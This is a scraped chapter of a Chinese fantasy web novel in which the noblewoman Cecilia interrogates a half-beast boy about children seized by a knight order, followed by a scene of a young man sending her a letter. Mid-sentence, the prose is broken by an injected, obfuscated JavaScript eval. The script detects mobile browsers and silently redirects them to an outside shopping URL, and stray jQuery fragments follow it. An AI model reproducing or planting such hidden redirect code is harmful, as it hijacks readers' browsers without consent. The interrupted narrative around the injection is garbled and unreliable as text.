磨磨蹭蹭喝完苦药,塞西莉亚终于感到自己活了过来。

    苦肉计对她这副身板来说实在有些够呛,若有下次,可不能再用雪夜淋雨这一套了。

    经过昨日明目张胆的示好,塞西莉亚从众人的反应中基本可以确定,西伯矿场尚未被威廉和霍顿染指,娜斯贝拉是可以拉拢的对象。

    倒是那对双生子的反应有些意思。

    弟弟看起来老实可靠,寡言少语,但言行一致,说什么做什么明明白白,但哥哥……

    艾德里安的双腿浮现在脑海,与咳嗽声一起给她留下了弱不禁风的印象。

    身有残疾的贵族子弟被送往教会成为圣职人员并不是件吸气事,但是圣职人员参与到萨利曼的家族事务中,却很难不让人深究。

    萨利曼家族的水远比她想象的更深,奥维斯不会无缘无故让教会的力量渗透进来,他究竟——

    “啊嚏!”

    巨大的喷嚏声骤然打断了塞西莉亚的思绪,她漠然看向角落里东张西望的男孩,慢慢抬手揉起了太阳穴。

    克兰德大祭司一定是个心地善良的人,否则也不会在救她的同时顺手救了这个红眼睛的拖油瓶。

    “说吧,为什么来圣斯卢奥?”她病中的声音轻飘飘的,听上去也没什么威慑力。

    柯尼的大兜帽罩住了他的脸,露出的下巴线条紧绷,警惕地盯着她。

    卡萝一把揪住了他的领子,轻易就将他提了起来,没好气道:“小姐问你呢,快说,是不是到圣斯卢奥来骗钱了?”

    “放我下来!放我下来!你这可恶的女人!”

    柯尼拼命挣扎着,但他跟瘦高个的卡萝比起来实在太小,只能在空中徒劳地比划着拳脚。

    塞西莉亚倚靠在垫子上,轻轻阖上了肿痛的眼皮,高烧的后遗症让她比寻常少了些耐心,语气也难免冷了下来:“你应该不想进司法院的地牢吧,毕竟那儿对你们这个族群来讲并不是很友好。”

    卡萝没反应过来,但是柯尼却止不住抖了起来,透明的淡红色瞳仁此刻正因恐惧掀起无声的风暴。

    她都知道!她肯定知道!

    他们在这块大陆上本就不受人待见,人人都将他们视作洪水猛兽,就连贫民窟的贱民都自诩高他们一等。

    如今他私自出入圣斯卢奥,落在司法院这群贵族手里,下场只会更惨。

    怎么办?

    逃跑?不可能,小女仆卡萝在进来的时候就已经反手锁上了门,而且这里是领主城堡,外面又全是骑士团,能逃到哪儿去?

    那么,就只剩下一条路……

    柯尼猛地扯过卡萝的胳膊咬了一口,卡萝吃痛低呼了一声下意识甩开了他,还未等她发作,柯尼突然伸手掀开了他的大兜帽。

    栗色卷发间两只毛绒绒的棕色耳朵弹了出来。

    卡萝的声音卡在了喉咙里,狐疑又震惊地瞪大了眼。

    塞西莉亚只是掀起眼皮淡淡扫了他一眼,又重复了一遍:“为什么来圣斯卢奥?我可没有多少耐心会再问你第三遍。”

    她不一样,柯尼大胆地回望着她,从上次布鲁德尔给她带路的时候他就看出来了,这位贵族小姐和其他人不一样。

    他讨价还价:“我可以告诉你,但你要承诺不会把我送去骑士团。”

    “你有谈判的权利吗?”

    柯尼被噎了一下:“……”

    算了吧她也一样。

    出门在外遇到的都是坏女人,他想,反正也不会有比落在骑士团更坏的事情了,索性心一横,将全部经过向塞西莉亚和盘托出。

    “所以你说,你是被骑士团抓到圣斯卢奥的?”塞西莉亚目不转睛地看着他。

    “对。”

    “那你一定知道骑士团在圣斯卢奥的办公地点了?”

    “……没、没错。”

    “在哪儿?”

    “……”

    “卡萝,送他去野蔷薇骑士团——”

    “哎哎哎别别别,我错了,我说我说!”

    柯尼吓得跳起来去阻止开门的女仆,他转过脸看着塞西莉亚,一副被强迫、不情愿又屈于强权的委屈模样。

    “是我两个伙伴,他们被抓来了圣斯卢奥,我是为了救他们……”

    “骑士团为什么要抓他们?”

    “因为这个,”柯尼抬手摸了摸耳朵,指尖触碰过的地方微微塌陷,随即又随着力道的松开弹回圆润的弧度,“他们要抓半兽人,而且还要血统纯正的。”

    塞西莉亚眼眸深冷,她在王庭时可没听说克莱尔有这道命令。

    如果这是他的一条阴谋,那她绝不会让他如愿。

    “带我去看看你那两个小伙伴,我有事要问他们。”

    柯尼愣了一下,眸中闪过一丝犹豫,他望着塞西莉亚的脸欲言又止。

    “说吧。”

    “那个……”柯尼别过脸,视线避开他,小声问道,“可不可以给我两块面包?”

    ……

    大雪下了又停,停了又起,反反复复捉摸不定。阴云低低地,在头顶凝滞,风也吹不走它们。

    柯尼在前面引路,卡萝这一次长了心眼,紧紧跟在他身后两步远的地方,生怕他又像上一次在布鲁德尔一样伺机溜掉。

    几人穿过几条街巷,来到一座破败荒废的修道院。

    修道院的大门已经没了,寒风从光秃秃的门洞穿堂而过。墙体坍塌四处漏风,若是藏人,骑士团不可能发现不了,那为什么那夜骚动后,帕克彻夜追捕都没找到他们?按照帕克的行事风格,不可能会出现这样的纰漏,除非有人暗中帮助了柯尼他们。

    塞西莉亚收回了视线,柯尼已经小跑着进了门,压低了声音喊着“萨维、简妮”,连唤了好几声,缺了头的女神像后面冒出来两个毛绒绒的小脑袋。

    他们一看到柯尼,立即欢快地向他跑来,但是目光一瞟到塞西莉亚她们,不由分说地躲向柯尼的身后,神色充满戒备。

    柯尼柔声安抚着他们,又像变戏法一样从兜帽里掏出了两块面包,看着两个小家伙狼吞虎咽,露出了满脸的骄傲。

    塞西莉亚耐心地等待着他们咽完最后一口面包,叫“萨维”的男孩还因吃得太急险些咬到了舌头。

    “吃完了?感觉好点了吗?”塞西莉亚看着他们,语气比审问柯尼时缓和了许多。

    “可以问你们几个问题吗?”

    两个孩子怯生生地看着她,虽然不像刚才那么戒备,但显然也没有完全信任她。

    “放心吧,她保证不会抓我们去骑士团,还会送我们出城。”柯尼一本正经地胡说八道,笃定塞西莉亚不会像其他贵族一样不近人情,“是吧,言出必行的领主小姐?”

    他边说边朝塞西莉亚挤眉弄眼,像个狡猾的狐狸一样。

    有了他的担保背书,两个孩子肉眼可见地松了口气。

    “他们为什么要抓你们?”塞西莉亚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790166|209297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不与他计较。

    两个孩子对视一眼,摇了摇头。

    “要抓去哪儿?”

    两个小脑袋又摇了摇。

    “……还抓了谁?”塞西莉亚吸了口气,又换了个问题。

    “好多人。”小男孩萨维弱声开口,“都不认识。”

    “那他们怎么分辨你们血统纯不纯正?”这两个孩子外表看起来与柯尼也没什么不同。

    “这个我知道。”柯尼接过话头,手指指向眼睛,他的眼睛如淡红色琉璃一般晶亮,“看颜色深浅,越深的越纯血。”

    “好吧。下一个问题,骑士团看管森严,你们是怎么逃出来的?”

    “一个骑士救了我们。”

    “对,一个真正的骑士!”小女孩简妮话未说完,被男孩萨维抢了过去,两人好似一下子打开了话匣子。

    “他的剑有那么长!”

    “他的盔甲还会唱歌,叮叮当当的。”

    “他是野蔷薇骑士团的!”

    “不,才不是呢!他说他要找他的玫瑰,他是野玫瑰骑士团的。”

    “你才胡说,根本没有野玫瑰骑士团!”

    “野玫瑰骑士团?”塞西莉亚眉头微蹙,一个高大的身影浮现出来,他曾无数次纵容她的无理取闹,是她过去记忆中除了母亲之外唯一的亮色。

    “他长什么样子?还说了什么?”她的声音下意识染上一丝急切,即便她提高了音量也于事无补,早就淹没在“野玫瑰”还是“野蔷薇”的争吵声中了。

    塞西莉亚的脸上第一次浮现了困惑的神色,明明只是问话,怎么两个小孩还吵起来了?

    卡萝在后面安静地看着,五官都在乱飞,她死死压住上翘的嘴角才不至于让笑声从喉咙中逃逸出来。

    她没想到塞西莉亚小姐也有被别人打乱节奏的一天。

    小孩子真是种比魔鬼还可怕的生物。

    ……

    一只信鸦顶着刺骨的寒风飞跃了茫茫雪原,从庄严肃穆的司法院穿过拥挤狭窄如蜘蛛网一般复杂的脏乱巷道,最终停在了一只破旧掉漆的篱笆上。

    它的眼中映照出周围人的眼睛,浑浊的、好奇的、贪婪的……

    直到一双白手套出现,阻隔了那些视线。

    他把纸条塞进信鸦腿上的信管里,修长的手指轻轻抚过它的羽毛,小家伙竟温顺地蹭了蹭他的手指。

    他用指尖点了点它的脑袋,温柔的嗓音湮没在漫天的风雪中。

    “去吧,到她身边去。”

    青年目送着信鸦,直到它的影子淡出了视野,还在长久地凝望着。

    许久之后,他神色冷淡地转身,长靴踩过几条巷子,半长的黑发随风飘动,雪粒子撞上他修长合身的制服与腰间的佩剑,发出轻微的细响。

    他在一栋破屋前停下,推开破败不堪的大门,刹那间,几个末路狂徒从门后一跃而出,手持利刃劈头盖脸向他扑来。

    风雪下得更大了些,呜咽之声盖过了门内惊天动地的惨叫。

    几个呼吸之后,人影横倒一片。

    青年甩了甩手腕,将染了血污的白手套扯下,随手扔在地上。

    风雪中,那张纸条正带着他的思念飞向他此生唯一的信仰——

    “姐姐,不日我将离开马多纳,期待……”笔迹到此停顿了一下,深色的墨点在最后一笔处晕染,像在无声地提示着写信者情绪的起伏。

    “……与您重逢。”